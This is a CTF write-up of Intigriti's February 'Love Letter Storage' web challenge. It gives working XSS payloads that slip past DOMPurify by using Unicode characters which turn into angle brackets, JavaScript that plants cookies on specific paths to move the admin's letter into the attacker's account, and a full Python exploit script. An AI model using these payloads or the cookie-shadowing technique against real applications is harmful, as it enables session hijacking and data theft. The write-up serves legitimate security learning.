Intigriti February CTF Challenge: Love Letter Storage

tl;dr: Solved an awesome Valentine's Day challenge by @goatsniff from Intigriti. I gained valuable insights into using character conversions to bypass XSS protections and learned about data exfiltration through the manipulation of cookie paths. This details the exploits I used and my journey along the way and also features a live demo video where I transform the process into an automated Python exploit script, adding a practical and interactive dimension to the challenge.

Contents

This post is a bit longer, so feel free to jump to the sections that most interest you. For a hands-on demonstration of how I turned this challenge into a Python proof-of-concept (PoC) exploit script, be sure to check out the 'Live Exploit Creation' section.

Introduction

From the beautiful design and the intricacies of the source code, it's evident that a tremendous amount of 💖 love 💖 and effort went into crafting this challenge. Completing it has been an fun journey, striking the perfect balance between frustration and excitement. It wasn't just a test of skill but also a great learning experience.

The challenge

Exploring the web application, we see it offers a mix of standard and unique functionalities:

  • Standard Stuff: These include basic app functionalities like registration, login, and logout. The app uses JWTs stored as HTTP-only cookies for authorization.
  • App Stuff: Users can save 'love letters' in slots numbered 0 to 3, which can later be retrieved using the user's password. The password requirement adds a layer of complexity to the challenge, especially since we're unlikely to know the admin's password.
  • CTF Stuff: There's a 'Contact Admin' feature, allowing users to send a URL to the admin. The admin will click on this link, hinting that crafting an XSS exploit could be key to manipulating the admin user and accessing the love letter. This is effectively a phishing simulation in a CTF challenge.

The source code is available for download on all pages, which is convenient as my background in AppSec means that I much prefer whitebox testing. The code, primarily contained within a single app.js file, includes all the endpoints observable in the app's functionality. However, two additional endpoints at the bottom of app.js caught my attention: setTestLetter and readTestLetter. Even the 404 page seemed to hint that these might be the initial steps towards a solution.

app.use('*', (req, res) => {
    res.send('Can\'t find that page, try debugging at <a href="/setTestLetter">/setTestLetter</a> or <a href="/readTestLetter/:uuid">/readTestLetter/:uuid</a>!');
});

The setTestLetter function allows us to create test letters without authorization and generates a URL using a UUID as an identifier to this newly saved message:

// A place for us to run tests without affecting prod letters!
// Currently testing:
// - Rich text via HTML with DOMPurify for safety
// - Base64 encoding
app.get("/setTestLetter", async function (req, res) {
    try {
        const { msg } = req.query;

        if (!msg) {
            return res.status(400).send("Missing msg parameter");
        }

        // We are testing rich text for the love letters! Best be safe!
        const cleanMsg = DOMPurify.sanitize(msg);

        const letter = await DebugLetters.create({
            letterValue: Buffer.from(cleanMsg).toString('base64')
        });

        return res.redirect(`/readTestLetter/${letter.letterId}`);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
setTestLetter endpoint and function

And unsurprisingly the readTestLetter endpoint is responsible for getting and rendering this message:

app.get("/readTestLetter/:uuid", async function (req, res) {
    try {
        const { uuid } = req.params;

        if (!uuid) {
            return res.status(400).send("Missing uuid in path parameter");
        }

        const letter = await DebugLetters.findOne({
            where: { letterId: uuid }
        });

        if (!letter) {
            return res.status(404).send("Letter not found");
        }

        const decodedMessage = Buffer.from(letter.letterValue, 'base64').toString('ascii');

        return res.status(200).send(decodedMessage);
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
readTestLetter endpoint and function

With these functions identified as potential targets, it seems likely they're vulnerable to some form of cross-site scripting attack. We will need to leverage this to exploit the admin user by supplying them with the URL to one of these letters. Let's get to it:

Step 1: Stored Cross-Site Scripting (XSS) with a twist

We have the ability to create saved test messages on the server but the message is run through DOMPurify.sanitize(msg); which protects against XSS attacks. DOMPurify is the latest version (3.0.8), so we are unlikely to be able to find a bypass that will result in a working XSS. As these functions feel like the probable targets we have to ask:

🤔
What else is interesting here?

There's isn't much else to these functions, so the answer has to be the use of Buffer and the conversion to base64 and then to ASCII. Immediately this screams that this is something that we should play with to see what happens when we supply non-ASCII chars.

To investigate this, I set up a local Node.js script for rapid testing. This will save us having to hammer the server to find some interesting characters, giving us a sweet bonus to 🤫 stealth 🥷:

const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

var input = '<a href="test">testing123</a>';
var cleanMsg = DOMPurify.sanitize(input);

var buf = Buffer.from(cleanMsg).toString('base64');
var out = Buffer.from(buf, 'base64').toString('ascii');

console.log(buf.toString());
console.log(out);

To figure out what non-ASCII chars may be of interest I created a small Python script that will output some of the more popular Unicode chars

subsets = [
    (0x80, 0xFF),     # Extended ASCII
    (0x00, 0x1F),     # Control Characters
    (0x100, 0x17F),   # Latin Extended-A
    (0x400, 0x4FF),   # Cyrillic
    (0x370, 0x3FF),   # Greek and Coptic
    (0x2000, 0x206F), # General Punctuation
    (0x2200, 0x22FF), # Mathematical Operators
    (0x2600, 0x26FF), # Miscellaneous Symbols
    (0x1F600, 0x1F64F) # Emojis
]

with open("targeted_chars.txt", "w", encoding="utf-8") as file:
    for start, end in subsets:
        for codepoint in range(start, end + 1):
            try:
                file.write(chr(codepoint))
            except:
                continue
        file.write('\n')

print("Targeted non-ASCII characters generated.")
Short Python script to output some of the more common unicode characters

Now using the chars we've generate we can try some of them inside our test script to see what type of conversion occurs. For brevity I've only included a small subset of chars here:

var input = '<a href="test">11111>∓∔∕∖∗∘∙√∛∜∝∞∟bbb∠∡∢∣∤∥∦∧∨∩∪∫∬∭ccc∮∯∰∱∲∳∴∵∶∷∸∹∺∻∻∼∽∾2222</a>';

When we run this, it gives us an output of:

$ node test.js
PGEgaHJlZj0idGVzdCI+MTExMTEmZ3Q74oiT4oiU4oiV4oiW4oiX4oiY4oiZ4oia4oib4oic4oid4oie4oifYmJi4oig4oih4oii4oij4oik4oil4oim4oin4oio4oip4oiq4oir4ois4oitY2Nj4oiu4oiv4oiw4oix4oiy4oiz4oi04oi14oi24oi34oi44oi54oi64oi74oi74oi84oi94oi+MjIyMjwvYT4=
<a href="test">11111&gtbbb !"#$%&'()*+,-ccc./0123456789:;;<=>2222</a>

We can see that all of the chars have been converted to standard ASCII and that two of them are of particular interest < and > which come from and respectively.

This means we can create a string like the following:

∼script∾alert(1)∼/script∾

Then when this is converted to ASCII by our application it should leave us with a classic XSS payload. Running this through our test node.js script gives:

$ node test.js
4oi8c2NyaXB04oi+YWxlcnQoMSniiLwvc2NyaXB04oi+
<script>alert(1)</script>

Success! Now lets try it against the server using Burp. First we URL encode our payload to get %E2%88%BCscript%E2%88%BEalert(1)%E2%88%BC/script%E2%88%BE as the msg we need to send:

Burp request and response after sending our first payload attempt

Interestingly when we try this payload against the server it results in some mangling. We see b followed being inserted alongside the chars we expect, this is actually a b followed by a null char but that doens't survive the transmission. So we're pretty close but this payload wont won't quite work when run in a browser...

All hope is not lost as we can perform some simple tricks that will result in valid HTML/JavaScript. There are a few ways to do this for simplicity I replaced the mangled greater than symbols with actual >. Note that DOMPurify wont mind as it doesn't see unpaired tags as a problem. Then as the final fix I added a JavaScript comment to make the contents of the script valid:

∼script>alert(1);//∼/script>

When URL encoded this is %E2%88%BCscript%3Ealert(1);//%E2%88%BC/script%3E, let's test it against the server now:

Burp request and response after sending our modified payload

This looks promising! Last thing left to do is check it out in a browser to confirm we pop an alert:

Pop it like it's hot

Outstanding 🥳

Now that the hard bit is solved, we need to move on to the hard bit...

Interlude: Admin Puppeteer

But before diving further, let's take a quick interlude to understand the behavior of the admin user upon clicking the link. This insight is essential for comprehending the exploitation mechanism. The admin's process is as follows:

  1. Login: Admin logs in to their account
  2. Phishing: Click on the provided link
  3. Panics: Reacts and closes the page
  4. Direct Visit: Revisits the webpage directly
  5. Account Verification: Checks if they are still on their own admin account (error if not)
  6. Love Letter Check: Checks if the love letter still exists (if it does nothing happens)
  7. Letter Restoration: Rewrites the love letter if it is missing

For those curious about the technical implementation, this sequence is performed using Puppeteer, a headless browser. The details can be found in the sendAdminURL endpoint within the source code.

Step 2: Admin Exploitation for Data Exfiltration

Now that we have the XSS working and can send the admin links to click on, we have a way to execute arbitrary JavaScript as the admin user. The challenge now is to be able to exfiltrate a love letter from the admin. However,  the endpoint to show the contents of a letter requires the user's password, which we do not know. So we have to get creative...

I always like to take baby steps with my exploits and test each step. Therefore I figured that before I try to go straight for a solution that it would first be good to demonstrate that data exfiltration was possible. I managed to achieve this by first logging out of the admin account, logging into our user account and saving a letter. The process looks like this:

  1. Logout of the admin account - Sending a DELETE request to /logout endpoint.
  2. Login to our user account - Setting a cookie with our user's JWT. Alternatively this could be done by calling /login with our username and password.
  3. Store data to our account - Making a POST request to storeLetter with our data to exfiltrate in the letterValue field.

The implementation of this process in code is as follows:

async function sendRequests(){
    // Logout of Admin account
    await fetch('https://api.challenge-0224.intigriti.io/logout', 
        { method: 'DELETE', credentials: 'include' }
    );

    // Manuall set our user's JWT
    document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/; domain=api.challenge-0224.intigriti.io";

    // Post data to our own account
    await fetch('https://api.challenge-0224.intigriti.io/storeLetter', {
        method: 'POST',
        credentials: 'include',
        headers: { 'Content-Type': 'application/json'},
        body: JSON.stringify({
            "letterId": "3",
            "letterValue": "Data Exfil"
        })
    });
}

sendRequests();

We perform our attack by first uploading the payload as a test letter and then sending the link to the admin. The admin, upon noticing that they had been logged out of their account and into ours, might have raised an alarm. However, we successfully managed to exfiltrate data before this switch was detected:

Great so now we have data exfiltration and we can post data from the admin to our own user. While experimenting with this, I realized that we could take this one step further by manipulating the cookies.

Cookies!

The JWT used for authorization in this application is set as HTTP-only cookie, meaning that the browser will happily send it along with requests, but it is totally inaccessible in JavaScript. Unfortunately this means we can't steal the JWT and impersonate the admin 😞.

However, one interesting aspect of cookies is that they are scoped to a domain and a path. When a browser prepares to send a request, it checks for all applicable cookies. If multiple cookies are valid, it sends them all. Crucially, the order in which these cookies are dispatched depends on the specificity of their match. A cookie that precisely matches a specific path is sent before a more generally matching one.

This means that we can use our payload to inject additional cookies into the admin's browser for specific endpoints that could be preferentially sent to the API in subsequent requests. By carefully selecting a few endpoints to authorize with our JWT, while retaining the admin's JWT for others, we can exfiltrate the love letter without triggering any account mismatch checks.

Step 3: Putting it all together

The final payload, it turns out, is surprisingly straightforward. It involves setting two new cookies on the getLetterData and storeLetter paths.

document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/getLetterData; domain=api.challenge-0224.intigriti.io";
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/storeLetter; domain=api.challenge-0224.intigriti.io";

We base64 and URL encode this payload and wrap it in atob to decode it and eval to execute it. Our final msg parameter will look like this:

%E2%88%BCscript%3Eeval(atob(`ZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L2dldExldHRlckRhdGE7IGRvbWFpbj1hcGkuY2hhbGxlbmdlLTAyMjQuaW50aWdyaXRpLmlvIjsKZG9jdW1lbnQuY29va2llID0gImp3dD1leUpoYkdjaU9pSklVekkxTmlKOS5leUpwWkNJNk1UQTVMQ0oxYzJWeWJtRnRaU0k2SW5SbGMzUnBibWN4TWpNaUxDSmxlSEJwY21GMGFXOXVJam95TURJek5URXpNRFE1TVRVMWZRLkNiSl90ZmhTRUtNQnQ5U05TZFRmX2g0LUF6SVNGM0hiOWx3NVhlcnJUZzA7IHBhdGg9L3N0b3JlTGV0dGVyOyBkb21haW49YXBpLmNoYWxsZW5nZS0wMjI0LmludGlncml0aS5pbyI7`));//%E2%88%BC/script%3E

We send this payload to the server using Burp:

Burp request and response after sending our exploit

Next, we provide the admin with a link to our freshly stored XSS payload:

The webapp showing the admin user clicking on our malcious link

If everything has gone according to plan we should now have a newly stored love letter in our account. Thankfully we do, and this leaks a beautiful love letter from Intigriti 😍:

Web app showing the new message in our account with data exfiltrated from the admin's account
We at Intigriti have been cheering you on from the sidelines and you never fail to impress us. Your bug hunting skills? Amazing. Every time you outsmart a tricky piece of code, we can't help but think, \"How did we get so lucky to have these incredible hackers on our platform?\" Keep on being the awesome bug hunters that you are b\u0000\u0013 the internet's a heck of a lot safer (and more fun) with you in it.

Live Exploit Creation

Now that we've demonstrated the exploit manually, I wanted to take it a step further by showing you how I would create a Python script to automate the entire process, live:

For your convenience, the video playback is set at 2.5x speed, so you won't have to spend too much time watching. My aim is to give you a glimpse into my approach to structuring exploit scripts and how I tackle debugging in real-time.

The exploit script created in this video can be seen below, it's a little rough around the edges and could do with some more error catching, but I'm pretty pleased with how it turned out:

import base64
import time

import requests

URL = 'https://api.challenge-0224.intigriti.io'


def generate_payload(payload):
    # We write a function to wrap our JavaScript payload into something that will bypass dompurify
    # We do this by first base64'ing our payload then using atob to decode it and eval to execute it:
    b64 = base64.b64encode(payload.encode())
    # Remember to wrap it in our non-ascii script tags:
    wrapped = f'∼script>eval(atob(`{b64.decode()}`));//∼/script>'
    return wrapped


def save_test_letter(msg):
    r = requests.get(f'{URL}/setTestLetter?msg={msg}', allow_redirects=False)
    if r.ok:
        # We disable redirects and grab the location header to get the actual URL rather than following it
        return r.headers['Location']


def register(username, password):
    data = {'username': username, 'password': password}
    r = requests.post(f'{URL}/register', json=data)
    if r.ok and 'User registered' in r.text:
        return True


def login(username, password):
    data = {'username': username, 'password': password}
    r = requests.post(f'{URL}/login', json=data)
    if r.ok:
        return r.json()['token']


def get_letter(jwt, password, id):
    data = {'letterId': id, 'password': password}
    # We need to attach the JWT as auth for this request...
    cookies = {'jwt': jwt}
    r = requests.post(f'{URL}/readLetterData', json=data, cookies=cookies)
    # This is working but we have no letter saved here yet...
    return r.text


def send_admin_url(jwt, url):
    data = {'adminURL': url}
    cookies = {'jwt': jwt}
    r = requests.post(f'{URL}/sendAdminURL', json=data, cookies=cookies)
    return r.text


def exploit():
    # Now lets move on to the user stuff:
    # Create a random username each time
    username = f'stealth_{time.time():.0f}'
    password = username
    print(f'[+] Username: {username}')

    if not register(username, password):
        # Give up if we couldn't register...
        print(f'[!] Could not register')
        return

    print('[+] Registered')

    jwt = login(username, password)
    print(f'[+] JWT: {jwt}')

    # We've registered / logged in, now lets test we can retrieve a saved letter
    test = get_letter(jwt, password, 3)
    print(f'[?] Testing getting saved letter: {test}')

    # Function to contain our exploit chain
    real_payload = f"""
      document.cookie = "jwt={jwt}; path=/getLetterData; domain=api.challenge-0224.intigriti.io";
      document.cookie = "jwt={jwt}; path=/storeLetter; domain=api.challenge-0224.intigriti.io";
    """

    payload = generate_payload(real_payload)
    print(f'[+] Payload: {payload}')

    # Now we need to upload the payload
    payload_url = URL + save_test_letter(payload)
    print(f'[+] Payload URL: {payload_url}')

    # Now we need to send the URL to the admin user...
    # We need URL to be absolute, but we sent a relative...
    print(send_admin_url(jwt, payload_url))

    # Our final attack should write saved letter to id 3
    message = get_letter(jwt, password, 3)
    print(f'[+] Getting saved letter: {message}')


exploit()
Exploit script from the live demo video

Summary

Wow, this turned out to be a much more comprehensive write up than I originally intended, but I think that just demonstrates how much I enjoyed the challenge! Shoutout to @goatsniff once again for the amazing challenge.

If you found this post useful especially the live exploit video, please do reach out and let me know by finding me on the Intigriti Discord 💖.